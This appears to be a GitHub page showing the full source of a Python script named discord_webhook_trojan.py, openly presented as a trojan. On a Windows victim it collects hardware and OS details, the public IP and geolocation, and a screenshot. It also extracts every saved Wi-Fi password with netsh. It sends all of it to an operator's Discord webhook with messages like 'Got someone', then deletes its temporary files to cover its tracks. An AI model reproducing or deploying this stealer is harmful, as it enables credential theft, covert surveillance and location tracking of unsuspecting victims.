-
Notifications
You must be signed in to change notification settings - Fork 1
/
discord_webhook_trojan.py
243 lines (216 loc) · 6.01 KB
/
discord_webhook_trojan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
import time
import requests
import socket
import platform
import pyautogui
import subprocess
import os
import psutil
webhook = 'YOUR_WEBHOOK_HERE'
# Get hardware information
cpu = subprocess.check_output('wmic cpu get name', shell=True).decode().split('\n')[1].strip()
gpu = subprocess.check_output('wmic path win32_VideoController get name', shell=True).decode().split('\n')[1].strip()
motherboard = subprocess.check_output('wmic baseboard get product', shell=True).decode().split('\n')[1].strip()
ram = str(round(psutil.virtual_memory().total / (1024.0 **3)))+" GB"
storage = str(round(psutil.disk_usage('/').total / (1024.0 **3)))+" GB"
# Get the user's ip address
ip = requests.get('https://api.my-ip.io/ip').text
# Check if the ip is from a vpn server using proxycheck.io
response = requests.get(f'https://proxycheck.io/v2/{ip}?vpn=1')
ipdata = response.json()
other = str(ipdata[ip])
# Convert variable other to text file
with open('ip.txt', 'w') as f:
f.write(other)
f.close()
# Find information about the ip address
url = 'http://ip-api.com/json/' + ip
response = requests.get(url)
vpndata = response.json()
# Get the information
country = vpndata['country']
city = vpndata['city']
isp = vpndata['isp']
lat = vpndata['lat']
lon = vpndata['lon']
# Find information about the computer
hostname = socket.gethostname()
# Get informations about the system
platformos = platform.system()
release = platform.release()
version = platform.version()
# Take a screenshot of the user's screen and save it as a png file
screenshot = pyautogui.screenshot()
screenshot.save('screenshot.png')
# Steal all wifi passwords
wifi_data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
profiles = [i.split(":")[1][1:-1] for i in wifi_data if "All User Profile" in i]
# Find the wifi passwords and store all the passwords in a text file
for i in profiles:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n')
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
try:
with open('wifi.txt', 'a') as f:
f.write("{:<30}| {:<}".format(i, results[0]) + "\n")
f.close()
except IndexError:
with open('wifi.txt', 'a') as f:
f.write("{:<30}| {:<}".format(i, "") + "\n")
f.close()
# Send the information to the webhook
data = {
"content": "||@everyone|| Got someone",
"embeds": [
{
"title": "Stuff about them",
"description": "https://github.com/metaltiger775",
"color": 65280,
"fields": [
{
"name": "IP Informations:",
"value": "IP : " + ip,
},
{
"name": "Country:",
"value": country,
},
{
"name": "City:",
"value": city,
},
],
}
],
"username": "Gottem",
"avatar_url": "https://i.pinimg.com/474x/c9/65/05/c965055e5101140eba23785b04c2822d.jpg",
"attachments": []
}
data2 = {
"embeds": [
{
"color": 65280,
"fields": [
{
"name": "ISP:",
"value": isp,
},
],
}
],
"username": "Gottem",
"avatar_url": "https://i.pinimg.com/474x/c9/65/05/c965055e5101140eba23785b04c2822d.jpg",
"attachments": []
}
data3 = {
"embeds": [
{
"color": 65280,
"fields": [
{
"name": "Latitude:",
"value": lat,
},
{
"name": "Longitude:",
"value": lon,
},
],
}
],
"username": "Gottem",
"avatar_url": "https://i.pinimg.com/474x/c9/65/05/c965055e5101140eba23785b04c2822d.jpg",
"attachments": []
}
data4 = {
"embeds": [
{
"color": 65280,
"fields": [
{
"name": "Hostname:",
"value": hostname
},
{
"name": "OS:",
"value": platformos
},
{
"name": "OS Version:",
"value": version
},
],
}
],
"username": "Gottem",
"avatar_url": "https://i.pinimg.com/474x/c9/65/05/c965055e5101140eba23785b04c2822d.jpg",
"attachments": []
}
data5 = {
"embeds": [
{
"color": 65280,
"fields": [
{
"name": "Ram:",
"value": str(ram)
},
{
"name": "GPU:",
"value": str(gpu)
},
{
"name": "CPU:",
"value": str(cpu)
},
],
}
],
"username": "Gottem",
"avatar_url": "https://i.pinimg.com/474x/c9/65/05/c965055e5101140eba23785b04c2822d.jpg",
"attachments": []
}
data6 = {
"embeds": [
{
"color": 65280,
"fields": [
{
"name": "Motherboard:",
"value": str(motherboard)
},
{
"name": "Storage:",
"value": str(storage)
},
],
"footer": {
"text": "Made by metaltiger775",
"icon_url": "https://avatars.githubusercontent.com/u/62576316?v=4"
}
}
],
"username": "Gottem",
"avatar_url": "https://i.pinimg.com/474x/c9/65/05/c965055e5101140eba23785b04c2822d.jpg",
"attachments": []
}
requests.post(webhook, json=data)
time.sleep(1)
requests.post(webhook, json=data2)
requests.post(webhook, json=data3)
requests.post(webhook, json=data4)
requests.post(webhook, json=data5)
requests.post(webhook, json=data6)
# Send the screenshot via discord webhook
files = {'file': open('screenshot.png', 'rb')}
requests.post(webhook, files=files)
# Send the ip information via discord webhook
files = {'file': open('ip.txt', 'rb')}
requests.post(webhook, files=files)
# Send the wifi passwords via discord webhook
files = {'file': open('wifi.txt', 'rb')}
requests.post(webhook, files=files)
# Delete the files
time.sleep(1)
os.remove('screenshot.png')
os.remove('ip.txt')
os.remove('wifi.txt')